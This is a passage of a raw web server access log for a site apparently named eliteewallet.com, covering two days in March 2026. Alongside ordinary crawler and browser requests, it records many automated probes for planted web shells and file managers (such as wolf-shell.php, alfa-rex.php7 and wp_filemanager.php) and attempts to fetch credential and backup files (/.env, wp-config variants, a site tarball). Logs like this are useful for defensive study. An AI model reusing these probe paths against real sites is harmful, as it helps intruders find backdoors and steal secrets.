+0300] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:27:20 +0300] "GET /security.php?p= HTTP/1.1" 301 795 "-" "-" 69.171.231.2 - - [01/Mar/2026:17:03:25 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 69.171.231.21 - - [01/Mar/2026:17:03:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 52.138.3.9 - - [01/Mar/2026:16:27:54 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.3.9 - - [01/Mar/2026:16:28:02 +0300] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 104.154.105.196 - - [01/Mar/2026:17:08:56 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 40.69.66.178 - - [01/Mar/2026:17:25:12 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 62.60.130.210 - - [01/Mar/2026:17:29:02 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 40.69.66.178 - - [01/Mar/2026:17:24:54 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:42 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:26:00 +0300] "GET /zeal.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:26:03 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:25 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:32 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:35 +0300] "GET /wpo.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:37 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:52 +0300] "GET /wolf-shell.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:55 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:17 +0300] "GET /wp-content/plugins/pwnd/acp.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:20 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:25:03 +0300] "GET /wp-includes/SimplePie/cah.php HTTP/1.1" 301 795 "-" "-" 40.69.66.178 - - [01/Mar/2026:17:26:09 +0300] "GET /sa.php HTTP/1.1" 301 795 "-" "-" 68.183.76.172 - - [01/Mar/2026:21:29:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 93.158.92.11 - - [01/Mar/2026:21:19:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.89 Mobile/15E148 Safari/604" 182.42.111.156 - - [01/Mar/2026:19:36:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.139.6 - - [01/Mar/2026:20:44:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 68.183.76.172 - - [01/Mar/2026:21:29:36 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 43.156.228.27 - - [01/Mar/2026:19:50:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 180.191.230.220 - - [01/Mar/2026:19:46:26 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.81.205.173 - - [01/Mar/2026:21:48:32 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 185.252.235.182 - - [01/Mar/2026:23:08:15 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 185.252.235.182 - - [01/Mar/2026:23:07:42 +0300] "GET /wp-content/plugins/shell/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 209.38.74.178 - - [01/Mar/2026:23:14:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 95.142.46.155 - - [01/Mar/2026:22:43:54 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 74.243.251.125 - - [01/Mar/2026:22:59:02 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 185.252.235.182 - - [01/Mar/2026:23:08:58 +0300] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 46.151.182.53 - - [02/Mar/2026:00:13:35 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 46.151.182.53 - - [02/Mar/2026:00:13:35 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.228.157.37 - - [02/Mar/2026:00:14:13 +0300] "GET /admin/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 51.68.236.68 - - [02/Mar/2026:00:40:06 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.68 - - [02/Mar/2026:00:40:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 14.215.163.132 - - [02/Mar/2026:01:48:26 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.114.76 - - [02/Mar/2026:01:04:03 +0300] "HEAD /eliteewallet.tar.gz HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 35.82.31.95 - - [02/Mar/2026:02:34:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.159.128.247 - - [02/Mar/2026:01:46:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.35.153 - - [02/Mar/2026:02:35:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 159.203.174.207 - - [02/Mar/2026:02:53:29 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 145.220.91.19 - - [02/Mar/2026:03:17:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 104.28.203.60 - - [02/Mar/2026:05:28:41 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 117.33.163.216 - - [02/Mar/2026:08:26:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.11.141 - - [02/Mar/2026:08:16:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.133.14.237 - - [02/Mar/2026:07:22:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 125.25.28.6 - - [02/Mar/2026:06:51:10 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 23.248.167.38 - - [02/Mar/2026:06:57:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0" 213.202.253.4 - - [02/Mar/2026:09:09:52 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 74.243.251.125 - - [02/Mar/2026:09:18:26 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:46 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:29 +0300] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:32 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "-" 216.73.160.25 - - [02/Mar/2026:11:14:17 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 20.104.206.150 - - [02/Mar/2026:11:38:38 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:40 +0300] "GET /cache.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:38 +0300] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:31 +0300] "GET /t00l.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:14 +0300] "GET /wp-configss1.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:00 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:58 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:03 +0300] "GET /wp-xmlmp.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:07 +0300] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:08 +0300] "GET /wp-configssss.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:40 +0300] "GET /file.phpa HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:44 +0300] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:14 +0300] "GET /otuz1.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:32 +0300] "GET /aj.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:13 +0300] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:16 +0300] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:21 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:23 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 34.211.44.97 - - [02/Mar/2026:11:24:41 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0" 20.104.206.150 - - [02/Mar/2026:11:39:47 +0300] "GET /minik.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:51 +0300] "GET /st.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:44 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:50 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:49 +0300] "GET /im.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:55 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:55 +0300] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:04 +0300] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:56 +0300] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:22 +0300] "GET /signon.php?p= HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:36:37 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:31 +0300] "GET /wp-configss.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:36 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:26 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:53 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:39:08 +0300] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:37:19 +0300] "GET /ngif.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:05 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 20.104.206.150 - - [02/Mar/2026:11:38:09 +0300] "GET /abe.php HTTP/1.1" 301 795 "-" "-" 139.59.24.163 - - [02/Mar/2026:12:16:24 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 95.214.52.207 - - [02/Mar/2026:12:18:57 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 115.45.43.182 - - [02/Mar/2026:13:09:16 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.3793.91 Safari/537.36 Edge/18.18362" 141.98.11.224 - - [02/Mar/2026:12:46:48 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 43.157.82.252 - - [02/Mar/2026:12:54:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 100.30.5.6 - - [02/Mar/2026:14:33:44 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 119.28.89.249 - - [02/Mar/2026:13:41:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 122.230.41.91 - - [02/Mar/2026:13:14:37 +0300] "GET /wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 175.6.217.4 - - [02/Mar/2026:15:11:40 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 178.16.53.90 - - [02/Mar/2026:16:23:04 +0300] "GET /.env HTTP/1.1" 301 795 "-" "-" 197.255.125.12 - - [02/Mar/2026:15:57:07 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 62.60.130.228 - - [02/Mar/2026:16:16:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://duckduckgo.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36" 51.68.236.68 - - [02/Mar/2026:16:58:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.236.68 - - [02/Mar/2026:16:58:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 74.234.117.126 - - [02/Mar/2026:17:09:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 144.31.25.220 - - [02/Mar/2026:16:53:50 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0" 51.12.82.80 - - [02/Mar/2026:18:15:13 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:14 +0300] "GET /maxro.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:18 +0300] "GET /agg.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:25 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:23 +0300] "GET /aaa.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:37 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:40 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:44 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:58 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:59 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:29:36 +0300] "GET //a1.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:32:23 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:32:25 +0300] "GET /bengi.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:32:59 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:13:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:13:50 +0300] "GET /gfile.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:19 +0300] "GET /sty.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:36 +0300] "GET /g.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:39 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:15:42 +0300] "GET //sys.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:48 +0300] "GET /av6m.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:18:48 +0300] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:18:49 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:38 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:04 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:19 +0300] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:33 +0300] "GET /fleen.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:37 +0300] "GET //wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:09 +0300] "GET //bak.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:13 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:16 +0300] "GET /dev.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:32:44 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:42 +0300] "GET /cfgy.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:45 +0300] "GET /jbuft.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:38 +0300] "GET /wp-tem.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:18:57 +0300] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:20:28 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:21:33 +0300] "GET //av.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:22:02 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:13 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:55 +0300] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:58 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:25:59 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:02 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:27:52 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:07 +0300] "GET /path.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:16:18 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:25 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:42 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:46 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:17:58 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:18:15 +0300] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:22 +0300] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:19:22 +0300] "GET //assets/css/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:20:50 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:20:53 +0300] "GET //aa.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:48 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:23:49 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:00 +0300] "GET //x.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:24:58 +0300] "GET /x/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:17 +0300] "GET //cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:18 +0300] "GET //wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:18 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:26:54 +0300] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:21 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:28:25 +0300] "GET /fe5.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:29:27 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:24 +0300] "GET /hi.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:30:27 +0300] "GET //lala.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:31:21 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:34:40 +0300] "GET /4h.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:13:58 +0300] "GET /bitch.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - [02/Mar/2026:18:14:00 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 51.12.82.80 - - 